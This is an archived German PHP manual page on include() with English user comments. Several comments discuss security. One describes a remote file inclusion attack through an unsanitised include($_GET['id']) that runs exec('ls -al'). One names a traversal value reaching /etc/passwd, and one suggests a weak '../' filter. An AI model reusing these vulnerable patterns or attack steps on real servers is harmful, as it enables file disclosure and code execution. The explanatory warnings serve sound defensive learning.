suche nach in der

require_once> <require
Last updated: Sat, 07 Jan 2012

view this page in

include()

(PHP 4, PHP5)

include() bindet eine angegebene Datei ein und führt sie aus.

Die folgende Dokumentation trifft ebenfalls auf require() zu.

Dateien werden unter dem angegebenen Pfad gesucht, oder, wenn keiner gegeben ist, im include_path. Wenn die Datei auch im include_path nicht gefunden werden kann, sucht include() noch in dem Verzeichnis der aufrufenden Datei und dem aktuellen Arbeitsverzeichnis. Wenn keine Datei gefunden wurde, erzeugt include() eine Warnung, im Gegensatz dazu erzeugt require() in diesem Fall einen Fatal Error.

Wenn ein Pfad angegeben ist — ob absolut (beginnend mit einem Laufwerksbuchstaben oder \ auf Windows oder / auf Unix/Linux) oder relativ (beginnend mit . oder ..), wird der include_path ignoriert. Wenn der Dateiname beispielsweise mit ../ beginnt, sucht der Parser im übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses nach der Datei.

Mehr Informationen über den Umgang PHPs mit dem Einbinden von Dateien im Zusammenhang mit dem include_path, siehe die Dokumentation zu include_path.

Wenn eine Datei eingebunden wird, wird für den enthaltenen Code der gleiche Geltungsbereich für Variablen übernommen, der für die Zeile gilt, die den include-Befehl aufruft. Jede für diese Zeile verfügbare Variable ist in dem eingebundenen Code verfügbar und jede Variable, die in der eingebundenen Datei gesetzt wird, steht dem weiteren aufrufenden Skript zur Verfügung, als wäre sie in der Zeile, in der include aufgerufen wird, definiert worden. Alle Funktionen und Klassen in der eingebundenen Datei gehören zum globalen Geltungsbereich.

Beispiel #1 Grundlegendes include()-Beispiel

vars.php
<?php

$farbe = 'grün';
$frucht = 'Apfel';

?>

test.php
<?php

echo "Der $frucht ist $farbe."; // Der  ist  .

include 'vars.php';

echo "Der $frucht ist $farbe"; // Der Apfel ist grün

?>

Wenn include innerhalb einer Funktion aufgerufen wird, verhält sich der gesamte Code aus der aufgerufenen Datei wie wenn er in der Funktion stände. Folglich hat er den selben Variablen-Gültigkeitsbereich wie diese Funktion. Eine Ausname von dieser Regel sind Magische Konstanten, die geparst werden, bevor die Einbindung durchgeführt wird.

Beispiel #2 Include in Funktionen

<?php

function foo()
{
    global $farbe;

    include 'vars.php';

    echo "Der $frucht ist $farbe.";
}

/* vars.php ist im Gültigkeitsbereich von foo(),  *
 * sodass $frucht außerhalb von diesem Bereich    *
 * nicht verfügbar ist. $farbe ist auch außerhalb *
 * verfügbar, weil es als global deklariert ist.  */

foo();                            // Der Apfel ist grün.
echo "Der $frucht ist $farbe.";   // Der  ist grün.

?>

Wenn eine Datei eingebunden wird, wechselt der Parser am Anfang der eingebundenen Datei in den HTML-Modus und am Ende wieder in den PHP-Modus. Aus diesem Grund muss jeder PHP-Code in der eingebundenen Datei mit gültigen PHP-Start- und -Endtags umschlossen sein.

Wenn "fopen-URL-Wrapper" aktiviert sind (was sie in der Standard-Konfiguration sind), kann die einzubindende Datei mit einem URL (über HTTP oder ein anderes unterstütztes Protokoll - siehe Unterstützte Protokolle and Wrappers für eine Liste unterstützter Protokolle) anstall eines lokalen Pfades eingebunden werden. Wenn der Zielserver die Zieldatei als PHP-Code interpretiert, können Variablen an die einzubindende Datei mithilfe von HTTP-GET-Query-Strings übergeben werden, obwohl dies nicht das selbe ist, wie wenn man die Datei einbindet und sie den Variablenbereich übernimmt; das Skript läuft weiterhin auf dem entfernten Server und das Ergebnis wird in das lokale Skript eingebunden.

Warnung

PHP-Versionen kleiner 4.3.0 für Windows, erlauben den Zugriff auf Remote-Dateien mit dieser Funktion nicht, selbst wenn allow_url_fopen aktiviert ist.

Beispiel #3 include() über HTTP

<?php

/* Dieses Beispiel setzt voraus, dass www.example.com konfiguriert ist, *
 * .php-Dateien als PHP-Skripte zu interpretieren und .txt-Dateien      *
 * nicht. Des Weiteren meint 'Funktioniert' hier, dass die Variablen    *
 * $foo und $bar innerhalb der eingebundenen Datei verfügbar sind.      */

// Funktioniert nicht; file.txt wird von www.example.com nicht als PHP interpretiert
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Funktioniert nicht; hier wird nach einer Datei mit dem Namen 
// 'file.php?foo=1&bar=2' im lokalen Dateisystem gesucht.
include 'file.php?foo=1&bar=2';

// Funktioniert
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo = 1;
$bar = 2;
include 'file.txt';  // Funktioniert
include 'file.php';  // Funktioniert

?>

Warnung

Sicherheits-Warnung

Die entfernte Datei mag vom entfernten Server (je nach Konfiguration) geparst werden oder nicht, aber sie muss weiterhin ein gültiges PHP-Skript ausgeben, weil die Ausgabe auf dem lokalen Server als PHP ausgeführt wird. Wenn die Ausgabe des vom entfernten Server nur ausgegeben werden soll, ist readfile() die bessere Wahl. Andernfalls muss sehr gut acht gegeben werden, dass das entfernte Skript sicher gültigen und erwünschten Code ausgibt!

Siehe auch Entfernte Dateien, fopen() und file() für verwandte Informationen.

Umgang mit Rückgabewerten: Es ist möglich, in der eingebundenen Datei return() aufzurufen um den Ablauf dieser Datei abzubrechen und zu dem einbindenden Skript zurückzukehren. Der zurückgegebene Wert kann als Rückgabewert des include-Aufrufs abgefragt werden, wie bei einer normalen Funktion. Dies ist beim Einbinden entfernter Dateien nur möglich, wenn die entfernte Datei mit gültigen PHP Start- und Endtags umschlossen ist (wie bei jeder lokalen Datei). Es ist möglich, die benötigten Variablen innerhalb diese Tags zu deklarieren und sie werden im einzubindenden Skript am dem Punkt, an dem die Datei eingebunden wird, verfügbar.

Weil include() eine spezielles Sprachkonstrukt ist, sind die Klammern um das Argument optional. Beim Vergleichen des Rückgabewerts muss allerdings aufgepasst werden (siehe Beispiel).

Beispiel #4 Vergleichen des Rückgabewerts von include

<?php
// funktioniert nicht, wird als include(('vars.php') == 'OK') behandelt
// also als include('')
if (include('vars.php') == 'OK') {
    echo 'OK';
}

// Funktioniert
if ((include 'vars.php') == 'OK') {
    echo 'OK';
}
?>

Beispiel #5 include() und return()

return.php
<?php

$var = 'PHP';

return $var;

?>

noreturn.php
<?php

$var = 'PHP';

?>

testreturns.php
<?php

$foo = include 'return.php';

echo $foo; // gibt 'PHP' aus

$bar = include 'noreturn.php';

echo $bar; // gibt 1 aus

?>

$bar hat den Wert 1, weil das Einbinden erfolgreich war. Die erste Datei nutzt return(), was die andere nicht tut. Wenn das Einbinden fehlschlägt, wird FALSE zurückgegeben und ein Fehler der Kategorie E_WARNING erzeugt.

Wenn in der eingebundenen Datei Funktionen definiert werden, können sie in der einbindenden Datei genutzt werden, unabhängig davon, ob sie vor oder nach return() definiert werden. Wenn eine Datei zweimal eingebunden wird, erzeugt PHP 5 einen fatalen Fehler, weil Funktionen bereits definiert wurden, während PHP 4 Funktionen, die nach return() definiert werden, ignoriert. Es ist empfohlen, include_once() zu nutzen, anstatt zu überprüfen, ob die Datei bereits eingebunden wurde, und abhängig davon innerhalb der eingebundenen Datei zu handeln.

Ein anderer Weg, die Ausgabe eines eingebundenen Skriptes in eine Variable zu schreiben, ist das Arbeiten mit den Funktionen zur Steuerung des Ausgabepuffers. Beispiel:

Beispiel #6 Nutzung des Ausgabepuffers um eine Datei "in einen String" einzubinden

<?php
$string = get_include_contents('somefile.php');

function get_include_contents($filename) {
    if (is_file($filename)) {
        ob_start();
        include $filename;
        return ob_get_clean();
    }
    return false;
}

?>

Um automatisch Dateien in Skripte einzubinden, siehe auch die Konfigurationsdirektiven auto_prepend_file und auto_append_file in php.ini.

Hinweis: Da dies ein Sprachkonstrukt und keine Funktion ist, können Sie dieses nicht mit Variablenfunktionen verwenden.

Siehe auch require(), require_once(), include_once(), get_included_files(), readfile(), virtual(), und include_path.



add a note add a note User Contributed Notes
include
adam at adamleayr dot id dot au
03-Jul-2007 02:22
In response to oasis1 below, I use mod_rewrite to pipe all my requests through the index.php file, so I'm able to use the below code to find the root directory:

$sRoot = $_SERVER['HTTP_HOST'] . dirname($_SERVER['SCRIPT_NAME']);

You may be able to modify it to suit yourself.
oasis1 at geocities dot com
29-Jun-2007 05:11
What a pain! I have struggled with including files from various subdirectories.  My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:

<?php

$times = substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;

while ($i < $times) {
 $rootaccess .= "../";
 $i++;
}
include ($rootaccess."foo/bar.php");

?>

This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled  through.
post-nospam at brucemiller dot co dot uk
04-Jun-2007 11:07
A very EASY way to get 'include' to find its way to another directory, other than setting the 'include path', and useful for fetching one or two files:

include ($_SERVER['DOCUMENT_ROOT']."/foo/bar.php");

This creates an include that is relative to the root rather than the current directory.

The dot is for concatenation, not current directory, as with 'include path' syntax.

See Appendix M of Manual > Reserved words > Predefined Variables, for more info on $SERVER.
safak_ozpinar at NOSPAM dot yahoo dot com
02-Jun-2007 03:18
This is a good example for returning a value from an included file I think.
I'm working on my own template class like Smarty. This class gets html code from template files. Then it creates a file that will be included directly. It displays only installed modules for the page. The included page always checks the installed modules. If the comparision returns false, the included file returns FALSE and warns the class to recreate itself. Then a new file with requested modules will be overwritten to the existing one.
Here is the main framework of my class:

<?php
/* by Safak Ozpinar */
class MyInclude {
  private $modules = array();
  private $numModules = 0;
  /* the constructor gets module names into an array */
  function MyInclude($inputModules) {
    if(!is_array($inputModules)) $inputModules = array($inputModules);
    foreach($inputModules as $module) {
      $this->modules[$this->numModules] = $module;
      $this->numModules++;
    }
  }
  /* the main action happens here, check carefully */
  function Display($fname, $reCreate = FALSE) {
    if(@file_exists($fname) && !$reCreate) {
      // if the included file returns FALSE, recreate it
      if((include $fname)==FALSE) {
        $this->Display($fname, TRUE);
        return;
      }
    }
    else {
      $this->Create($fname);
      include($fname);
    }
  }
  /* the behavior of the method Create depends on the format of your template file */
  // you will need some changes on this method to adapt to your work
  private function Create($fname) {
    $contentsPHP = '<?'."\n";
    $contentsHTML = '<html><body>'."\n";
    foreach($this->modules as $module) {
      $contentsPHP .= '$storedModules[] = \''.$module.'\';'."\n";
      // the html code of the module (you may need to take from a tempate file)
      $contentsHTML .= '<p>HTML code for module <b>"'.$module.'"</b></p>'."\n";
    }
    // here is the comparision code for included file
    // if the comparision returns FALSE, the file also returns FALSE
    $contentsPHP .= 'if(!$this->Compare($storedModules)) return FALSE;'."\n";
    $contentsPHP .= '?>'."\n";
    $contentsHTML .= '</body></html>';
    $fp = fopen($fname,'wb');
    fwrite($fp, $contentsPHP.$contentsHTML);
    fclose($fp);
  }
  /* ordered comparision, you may want to change the operations in this method */
  function Compare($storedModules) {
    $count = count($storedModules);
    if($count == $this->numModules) {
      for($i=0; $i<$count; $i++) {
        if(strcmp($storedModules[$i],$this->modules[$i])!=0)
          return FALSE;
      }
      return TRUE;
    }
    else return FALSE;
  }
}

/* lets go */
$tpl = new MyInclude(array('headline','main_menu','sub_menu','text_ads'));
$tpl->Display('inc.php');
?>

I haven't written error controls here because the code would be too large. For instance; if a html template for requested modules doesn't exist, you may want to display an error message or make some operations.
---
Safak Ozpinar (from Istanbul University)
user at example.com
21-May-2007 05:38
Regarding the caching of includes.
I submitted a bug for this, apparently it's not a bug it's supposed to work that way for some reason.
The bugs team declined to elaborate as to why but it would seem includes aren't meant to use dynamic code, which makes this function worthless and by extension makes php needlessly time consuming because you can't reuse files properly.
treyh at wilnet1 dot com
17-May-2007 04:26
I needed to use an include with an echo statement, with http authenication so I thought I'd share. It's basic but I didn't find it documented anywhere:

    include 'http://treyh:pass@192.168.0.60/update2_count3.php?data=' . $row[id];
14-May-2007 05:40
Even when you set cache control and expiry headers:

header("Expires: 0");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("cache-control: no-store, no-cache, must-revalidate");
header("Pragma: no-cache");

It doesn't seem to reparse the include on the second hit to the page without a forced refresh.
e.g. a page where you direct to a login page which changes a $_SESSION var then returns to the originating page.
The originating page doesn't execute the code so it looks like still not logged in.
cmedina at bluecorestudio dot com
01-May-2007 07:03
I wanted that included files behave like in C/C++ and this  was killing me. So I created this function that really helped me (Note: You should add these lines to EVERY included file).

Code Lines:
<?
$FILE_PATH = preg_replace_callback(
 '/(.*)(\\\?.*?)\s*;\1(\\\?.*?)\s*$/',
    create_function(
        '$matches',
        '$path = str_replace("\\\", "/",(isset($matches[2])?
        preg_replace(
        \'/(?:^\/|^\\\\\)?[^\/\\\\\]+(?:\/|\\\\\)?/\',
        "../",$matches[2]):"./").
        (isset($matches[3])?$matches[3]:""));
        return !empty($path)? "$path/" : "./";'
    )
    ,realpath("./").";".dirname(__FILE__)
);
?>

Usage Example:
Files hierarchy for example
/www/file.php
/include/secondfile.php
/include/test/anotherfile

<? //file.php
//i will not include the code lines in example to avoid repetition but you have to

// --- FILE_PATH code lines here ---

// include the file relative to the caller position remember to use a relative path from each file to desired file
include ($FILE_PATH . "../../include/secondfile.php");
?>

<? //secondfile.php

// --- FILE_PATH code lines here ---

//note that path used is in reference to secondfile.php's path and not the original caller's(file.php) path
include ($FILE_PATH . "test/anotherfile"); //or include ($FILE_PATH . "./test/anotherfile");
?>

<? //anotherfile

/* --- some mixed content here --- */

?>

Now you can do recursive includes to files inside already
included files using each file's path as reference, like in
c/c++!!!

I'd tested this just in WINXP (PHP Version 4.4.1), so, I
dont know how it behaves in other OS/PHP-Versions. Any
additional suggestions or bugs, please let me know.
gabriel at bumpt dot net
09-Mar-2007 04:36
In response to baofu:

The problem with calling:

set_include_path( ... )

before including any file, is that if one of the included files, in turn, does a set_include_path to include yet another bunch of files, then the following include statement in your topmost file, is done in an include path context that has changed.

Using: include dirname(__FILE__).'/../foo/bar' remains the best solution.
Khaos
23-Feb-2007 08:43
This might help a bit for security (no guarantees).

Instead of
include $page;
put
include str_replace('../', '', './' . $page);
-hh-
23-Feb-2007 12:47
coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.
anon
13-Feb-2007 02:49
Be careful using the <?= / ?> start and end tags with include / require.

A lovely feature/bug/misunderstanding meant that the result of

<?=include(filename)?>

was to get the contents of the file, suffixed with a '1'. I can only assume that the one is the return code of the include.

hopefully my pain can help somebody else :D

cheers,

coldflame
mbread at m-bread dot com
10-Feb-2007 06:23
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
baofu
02-Feb-2007 04:22
you can also use the following before you include any files.

set_include_path(dirname(__FILE__))
Nathan Ostgard
19-Jan-2007 11:32
You can also use debug_backtrace to write a function that do the chdir automatically:

<?php
function include_relative($file)
{
    $bt = debug_backtrace();
    $old = getcwd();
    chdir(dirname($bt[0]['file']));
    include($file);
    chdir($old);
}
?>
anonymous
18-Jan-2007 10:49
When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:

<?
$wd_was = getcwd();
chdir("/path/to/included/app");
include("mainfile.php");
chdir($wd_was);
?>

This way neither my includes nor theirs are affected; they all work as expected.
dionyziz at deviantart dot com
18-Jan-2007 05:06
In reply to the last anonymous note, this is exactly the way mediawiki code handles this problem. They have various-depth include paths.

So, for instance, inside includes/normal/UtfNormal.php (as of revision 19455) they do:

<?php
    require_once dirname(__FILE__).'/UtfNormalUtil.php';
?>

...to include the file includes/normal/UtfNormal.php.
vahe dot ayvazyan at googlemail dot com
10-Jan-2007 12:12
If you want the "include" function to work correctly with paths and GET parameters, try the following code:

<?php
    $_GET['param1'] = 'param1value';
    $_GET['param2'] = 'param2value';
    @include($_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php");
?>

Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.

I spent several hours to figure this out.
anonymous
01-Jan-2007 03:42
I'm gonna throw my hat in the rink and also say that I've always thought that the include path being relative to the current directory is silly. PHP is the only language I can think of that does this. Almost all of my include paths have always had to be prefixed with <?php dirname(__FILE__) ?> to operate expectedly.
Nathan Ostgard
28-Dec-2006 08:27
I have to agree with sean dot farrell at digital-egg dot org.

If I put "../" or "./" in a call to include(), I expect it to be relative to the file I am including from, not the current working directory of the application.

This backwards mentality for relative paths really interferes with PHP's ability to build packages of files independent of an application.
sean dot farrell at digital-egg dot org
29-Nov-2006 03:12
The way PHP handles the ./ and ../ is totally counter intuitive. As said if the included file is preceded by a ./ and ../ it looked up from the current working directory. And that is defined by the of the EXECUTED script. That is the script that you specified in the url.

So if your have a.php that includes include/b.php that includes ../extern/c.php, it will not do what you want. You can use extern/c.php instead if you never execute outside of the document root. For me that just will not cut it. Since I execute test suites if files are directly called, like in python.

Here is my dirty trick that works, since I only have two levels of file hierarchy:

set_include_path("../:./");
require_once("extern/c.php");

And here is an open question: Why are the included files not looked up relative from the file that includes them and then in the include path? This would be a behavior like in all other languages.
rickkyREMOVETHIS at gmail dot com
16-Nov-2006 10:03
In response to http://uk.php.net/manual/en/function.include.php#38000

Using the following at the top of your CLI scripts will make includes work similar to web PHP.

#!/usr/bin/php
<?php chdir(dirname(__FILE__)); ?>

This changes the current working directory to the one your script is running in. Its quite used for taking existing web scripts and getting them to run quickly in the command line.
Janci
16-Nov-2006 04:59
Please note that althought you can call a function that is DEFINED later in the code, you cannot call a function that is defined in a file which is INCLUDED later. Consider following two examples:

Example 1:
<?php
test();

function test()
{
  echo 'In test.';
}
?>

Example 2:
file1.php:
<?
test();

include 'file2.php';
?>

file2.php:
<?
function test()
{
  echo 'In test.';
}
?>

Please be aware that while the first example will work as expected, the second one will generate a fatal error "Call to undefined function: test() ...". The same is true for the require.
nospam at nospam dot com
14-Aug-2006 02:28
Trick to get around including get method...

Since this doesn't work:
include('page.php?id=1');

Try this:
$_REQUEST['id'] = 1;
include('page.php');
mlindal at pfc dot forestry dot ca
08-Aug-2006 05:33
If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.

Do this by:

Say the file to be included is 'newpubs.php'

and the main pages are either newpubs_e.php or newpubs_f.php

if($_SERVER[PHP_SELF]=="/newpubs.php")
    {
    header("Location: newpubs_e.php");
    exit;
    }

Will send them to newpubs_e.php if they try to access newpubs.php directly.
medhefgo at googlemail dot com
27-May-2006 01:50
Because there is no quick way to check if a file is in include_path, I've made this function:

<?php

function is_includeable($filename, $returnpaths = false) {
    $include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));

    foreach ($include_paths as $path) {
        $include = $path.DIRECTORY_SEPARATOR.$filename;
        if (is_file($include) && is_readable($include)) {
            if ($returnpaths == true) {
                $includable_paths[] = $path;
            } else {
                return true;
            }
        }
    }

    return (isset($includeable_paths) && $returnpaths == true) ? $includeable_paths : false;
}

?>
NOdasnipaSPAM
19-May-2006 11:40
at spam guard dot gmail com

to php dot net at reinsveien dot com:

if you know the domain the file should be coming from then you can parse the variable for the domain and make sure that it matches the domain you expect, example:

<?php
$path="/full/path/to/script/";
if (getdomain($path) == 'yourdomain'){
     include($path.'somefile.php');
}
?>

this should prevent remote execution of any malicious script
lholst+phpnet at students dot cs dot uu dot nl
08-May-2006 09:15
What cavarlier refers to is that on some editors, UTF-8 files are prefixed with a BOM (Byte Order Mark), an invisible marker three bytes in size, which are output by PHP if it encouters them (which is before the <?php on the first line). Notepad is particularly notorious creating these.

However, any decent editor (e.g. Notepad2) can save UTF-8 files without BOM, and if you do that the first <?php tag will truly be on the first character of the file.

So this does not mean that UTF-8 cannot be used by PHP.
cavarlier [at] hotmail [dot] com
22-Apr-2006 09:59
please note when you include a (utf-8) encoded file, this will be sufficient to send headers even if it doesnt contain any line breaks
arnold at bean-it dot nl
24-Feb-2006 11:15
Currently there is no clean way to check if a file can be included. Simply including a file which can't be opened causes a warning to be triggered. Suppressing include() with an @ (as often seen below) is not advisable, since parse errors won't be displayed, but will cause the script to die, causing a blank screen. (Happy debugging, hope you're using ZendStudio or some other debugger).

The best solution I've come up with is:
<?php
    if (($fp = @fopen($filename, 'r', 1)) and fclose($fp)) include $filename;
?>

I believe the functions file_exists(), filesize(), is_readable() and is_writable() should have an use_include_path just like fopen().
If you agree with this, please PLEASE VOTE on bug #6932 (http://bugs.php.net/bug.php?id=6932). This bug has been open for over 5 years. Apparently no one is willing to add this feature.
Stephen Lee
19-Jan-2006 01:36
@ajsharp at gmail dot com

To find out which script has included another, use the Server Variable 'SCRIPT_NAME' (note: there are other server variables that also contain the script name, but I use this one simply because it works for me) e.g.

"variables.php"
<?php
$includer = basename($_SERVER['SCRIPT_NAME']);

switch ($includer) {
   case 'a.php':
   $this_variable = 'included by script a.php';
   break;

   case 'b.php':
   $this_variable = 'included by script b.php';
   break;
  
   default:
   $this_variable = 'included by unkown script';
}
echo $this_variable;
?>

Test with 3 different files "a.php", "b.php", "c.php", all with the same content:
<?php
include 'variables.php';
?>
stalker at ruun dot de
10-Jan-2006 01:55
a simple function to recursively include e.g. the include-directory of your site and its subdirs:

<?php
function includeRecurse($dirName) {
    if(!is_dir($dirName))
        return false;
    $dirHandle = opendir($dirName);
    while(false !== ($incFile = readdir($dirHandle))) {
        if($incFile != "."
           && $incFile != "..") {
            if(is_file("$dirName/$incFile"))
                include_once("$dirName/$incFile");
            elseif(is_dir("$dirName/$incFile"))
                includeRecurse("$dirName/$incFile");
        }
    }
    closedir($dirHandle);
}
?>
php at bucksvsbytes dot com
03-Oct-2005 09:31
The documentation should make it clearer that the include argument is not a site path (i.e. not relative to the document root or to any web server defined aliases), but rather a path on the host relative to the calling script's directory.
wamsleye at yahoo dot com
24-Aug-2005 11:21
I had been looking around on how to make sure that a file is included, I guess the way to do it changed with new version, here we go:

<?php
if ((include "header.php") == true) {
   echo ("header loaded");
}//end if
else{
   echo("header not loaded");
}//end else
?>

hope that helps!
Jesper Juhl
14-Aug-2005 05:14
If you want to prevent direct access to some files and only allow them to be used as include files by other scripts, then an easy way to accomplish that is to check a define in the include file.

Like this.

includefile.php
---
<?php
defined('_VALID_INCLUDE') or die('Direct access not allowed.');

/* rest of file */

?>

script.php
---
<?php
define('_VALID_INCLUDE', TRUE);
include('includefile.php');

/* rest of file */

?>
ignacio esviza
19-Jul-2005 11:10
Hi, there...

I've use this in order to grab the output from an include() but without sending it to the buffer.

Headers are not sent neither.

<?php
function include2($file){
   
    $buffer = ob_get_contents();
    include $file;
    $output = substr(ob_get_contents(),strlen($buffer));
    ob_end_clean();
   
    ob_start();
    echo $buffer;
   
    return $output;
   
}
?>
Ethilien
18-Jul-2005 09:04
Another way of getting the proper include path relative to the current file, rather than the working directory is:

<?php
include realpath(dirname(__FILE__) . "/" . "relative_path");
?>
Berenguer Blasi
04-Jul-2005 03:07
When working with a well organized project you may come across multiple problems when including, if your files are properly stored in some nice folders structure such as:

 - src
  - web
  - bo
 - lib
 - test
 - whatever

as the include path's behaviour is somehow strange.

The workaround I use is having a file (ex: SiteCfg.class.php) where you set all the include paths for your project such as:

$BASE_PATH = dirname(__FILE__);
$DEPENDS_PATH  = ".;".$BASE_PATH;
$DEPENDS_PATH .= ";".$BASE_PATH."/lib";
$DEPENDS_PATH .= ";".$BASE_PATH."/test";
ini_set("include_path", ini_get("include_path").";".$DEPENDS_PATH);

Make all paths in this file relative to IT'S path. Later on you can import any file within those folders from wherever with inlude/_once, require/_once without worrying about their path.

Just cross fingers you have permissions to change the server's include path.
17-May-2005 05:10
Thought you can figure it out by reading the doc, this hint might save you some time. If you override include_path, be sure to include the current directory ( . ) in the path list, otherwise include("includes/a.php") will not search in the current script directory.

e.g :

if(file_exists("includes/a.php"))
   include("includes/a.php")

The first line will test to true, however include will not find the file, and you'll get a "failed to open stream" error
php at REMOVEMEkennel17 dot co dot uk
03-May-2005 02:20
As stated above, when using return() to terminate execution of an included file, any functions defined in the file will still be defined in the global scope, even if the return() occurs before their definition.

It should be noted that class definitions behave in the same way.
morris.php <A T> it-solutions.org
28-Apr-2005 02:31
Something not previously stated here - but found elsewhere - is that if a file is included using a URL and it has a '.php' extension - the file is parsed by php - not just included as it would be if it were linked to locally.

This means the functions and (more importantly) classes included will NOT work.

for example:

include "http://MyServer.com/MyInclude.php";

would not give you access to any classes or functions within the MyInclude.php file.

to get access to the functions or classes you need to include the file with a different extension - such as '.inc' This way the php interpreter will not 'get in the way' and the text will be included normally.
gillis dot php at TAKETHISAWAY dot gillis dot fi
14-Apr-2005 11:47
This is not directly linked to the include function itself. But i had a problem with dynamically generated include-files that could generate parse errors and cause the whole script to parse-error.

So as i could not find any ready solution for this problem i wrote the mini-function. It's not the most handsome solution, but it works for me.

<?php
function ChkInc($file){
   if(substr(exec("php -l $file"), 0, 28) == "No syntax errors detected in"){
   return true;
   }else{
   return false;
   }
}
?>

if someone else has a better solution, do post it...

Note. remember that this function uses unchecked variables passed to exec, so don't use it for direct user input without improving it.

//Gillis Danielsen
dragon at wastelands dot net
10-Dec-2004 01:30
The __FILE__ macro will give the full path and name of an included script when called from inside the script.  E.g.

<? include("/different/root/script.php"); ?>

And this file contains:
<? echo __FILE__; ?>

The output is:
/different/root/script.php

Surprisingly useful :>  Obviously something like dirname(__FILE__) works just fine.
mattcimino at gardiners dot com
11-Aug-2004 02:47
To avoid painfully SLOW INCLUDES under IIS be sure to set "output_buffering = on" in php.ini. File includes dropped from about 2 seconds to 0 seconds when this was set.
durkboek A_T hotmail D_O_T com
03-Jun-2004 01:09
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach($output as $line) {
echo $line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
marco_ at voxpopuli-forum dot net
12-Apr-2004 06:27
In addition to the redeye at cs-aktuell dot de note:

to make pseudo-frame in total security

example: http://www.yourdomain.com/index.php?page=news

<?php

/* verify the validity of GET var page
if not set, do a default case         */
if(isset($HTTP_GET_VARS['page']))
{
 $p = $HTTP_GET_VARS['page'];
}
else
{
 $p = 'index';
}

switch($p)
{
 case 'index':
 require('welcome.php');
 break;

 case 'news':
 require('news.php');
 break;

 case 'what you want':
 require('the file you want');
 break;

 default:
 exit('Wrong parameter for file inclusion');
}

?>

marco_
moosh at php dot net
15-Jan-2004 04:03
<?php
@include('/foo') OR die ("bar"); # <- Won't work
@(include('/foo')) OR die ("bar"); # <- Works
?>

so "or" have prority on "include"
james at gogo dot co dot nz
09-Dec-2003 07:03
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
  function &x(&$y)
  {
    return include(dirname(__FILE__) . '/2.php');
  }

  $z = "FOO\n";
  $z2 = &x($z);

  echo $z2;
  $z  = "NOO\n";
 
  echo $z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/
david dot gaia dot kano at dartmouth dot edu
04-Dec-2003 10:13
I just discovered a "gotcha" for the behavior of include when using the command line version of php.

I copied all the included files needed for a new version of a program into a temporary directory, so I could run them "off to the side" before they were ready for release into the live area. One of the files with a new version (call it common.inc.php for this example) normally lives in one of the directories in the include path. But I did not want to put the new version there yet! So I copied common.inc.php into my temporary directory along with the others, figuring that the interpreter would find it there before it found it in the include directory, because my include path has a . at the beginning. When I tested it, everything was fine.

But then I setup a cron job to run the script automatically every day. In the crontab I placed the full path of the script. But when it ran, it included the old version of my common.inc.php file out of the include directory. Interestingly, the other include files that only existed in the temporary directory were included fine.

Evidently AFTER the include path is searched, the directory in which the main script lives is searched as well. So my temporary installation almost worked fine, except for the lack of the small change I had made in the common file introduced a bug.

To make it work I use a shell script to start my php script. It contains a cd command into the temporary directory, then starts the php script.

So "current directory" (the . in the include path) for a command line script is really the current directory you are in when executing the script. Whereas it means the directory in which the script lives when executing under apache.

I hope this helps save someone else the hours it took me to figure out my problem!

David
php at mijav dot dk
19-Nov-2003 03:07
The @ directive works with this construct as well. My experience is you can use an if-statement to verify if the script was included (I havn't tested this on remote includes, there might be non-standard-404 pages that makes it impossible to verify you got the right page)
Example:
   // ignore the notice and evaluate the return value of the script, if any.
   if(@include(dirname(__FILE__)."/foo.php"))
      echo "foo.php included";
   else
      echo "failed to include foo.php";
redeye at cs-aktuell dot de
08-Feb-2003 02:29
As to the security risks of an include statement like:

<?php
  include($page);
?>

This is a really bad way on writing an include statement because the user could include server- or password-files which PHP can read as well. You could check the $page variable first but a simple check like

<?php
  if ( file_exists($page) ) AND !preg_match("#^\.\./#",$page) )
    include($page);
?>

wont make it any safer. ( Think of $page = 'pages/../../../etc/passwd' )

To be sure only pages are called you want the user to call use something like this:

<?php
  $path = 'pages/';
  $extension = '.php';
 
  if ( preg_match("#^[a-z0-9_]+$#i",$page) ){
    $filename = $path.$page.$extension;
    include($filename);
  }
?>

This will only make sure only files from the directory $path are called if they have the fileextension $extension.
add a note add a note

require_once> <require
Last updated: Sat, 07 Jan 2012